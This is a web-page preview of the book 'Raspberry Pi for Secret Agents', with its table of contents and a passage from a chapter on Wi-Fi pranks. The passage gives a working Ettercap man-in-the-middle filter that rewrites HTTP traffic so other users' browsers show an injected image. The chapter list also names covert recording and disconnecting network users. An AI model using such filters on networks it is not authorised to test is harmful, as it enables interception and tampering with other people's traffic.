4. Wi-Fi Pranks – Exploring Your Network | Raspberry Pi for Secret Agents - Second Edition

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Raspberry Pi for Secret Agents - Second Edition

By : Sjogelid

4.1 (14)

Raspberry Pi for Secret Agents - Second Edition

4.1 (14)

By: Sjogelid

Overview of this book

This book is an easy-to-follow guide with practical examples in each chapter. Suitable for the novice and expert alike, each topic provides a fast and easy way to get started with exciting applications and also guides you through setting up the Raspberry Pi as a secret agent toolbox.

Preface

Preface

What this book covers

What you need for this book

Who this book is for

Conventions

Reader feedback

Customer support

Free Chapter

1. Getting Up to No Good

1. Getting Up to No Good

A brief history lesson on the Pi

The ins and outs of the Raspberry Pi

Installing the Raspbian OS on the SD card

Booting up and configuring Raspbian

Accessing the Pi over the network using SSH

The importance of a sneaky headless setup

Keeping your system up-to-date

Backing up your SD card

Summary

2. Audio Antics

2. Audio Antics

Configuring your audio gadgets

Recording conversations for later retrieval

Listening in on conversations from a distance

Talking to people from a distance

Distorting your voice in weird and wonderful ways

Scheduling your audio actions

Calling your fellow agents

Bonus one line sampler

Summary

3. Webcam and Video Wizardry

3. Webcam and Video Wizardry

Setting up your camera

Capturing your target on film

Detecting an intruder and setting off an alarm

Watching your camera over the Internet

Turning your TV on or off using the Pi

Scheduling video recording or staging a playback scare

Summary

4. Wi-Fi Pranks – Exploring Your Network

4. Wi-Fi Pranks – Exploring Your Network

Getting an overview of all the computers on your network

Finding out what the other computers are up to

Pushing unexpected images to browser windows

Knocking all visitors off your network

Protecting your network against Ettercap

Analyzing packet dumps with Wireshark

Exploring dynamic DNS, port forwarding, and tunneling

Creating a diversion using a chat bot

Keeping your conversations secret with encryption

Summary

5. Taking Your Pi Off-road

5. Taking Your Pi Off-road

Keeping the Pi dry and running with housing and batteries

Setting up point-to-point networking

Creating an ad hoc Wi-Fi network

Turning the Pi into a Wi-Fi hotspot

Tracking the Pi's whereabouts using GPS

Controlling the Pi with your smartphone

Receiving status updates from the Pi

Accessing your files from anywhere with Dropbox

Keeping your data secret with encryption

Erasing the Pi should it fall into the wrong hands

Summary

Graduation

Index

Index

Customer Reviews

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Pushing unexpected images to browser windows

Not only do man-in-the-middle attacks allow us to spy on the traffic as it passes by, we also have the option of modifying the packets before we pass them on to its rightful owner. To manipulate packet contents with Ettercap, we will first need to build some filter code in nano:

pi@raspberrypi ~ $ nano myfilter.ecf

The following is our filter code:

if (ip.proto == TCP && tcp.dst == 80) {
  if (search(DATA.data, "Accept-Encoding")) {
    replace("Accept-Encoding", "Accept-Mischief");
  }
}

if (ip.proto == TCP && tcp.src == 80) {
  if (search(DATA.data, "<img")) {
    replace("src=", "src=\"http://www.intestinate.com/tux.png\" alt=");
    msg("Mischief Managed!\n");
  }
}

The first block looks for any TCP packets with a destination of port 80, that is, packets that a web browser sends to a web server to request for pages. The filter then peeks inside these packages and modifies the Accept-Encoding string in order to stop the web...

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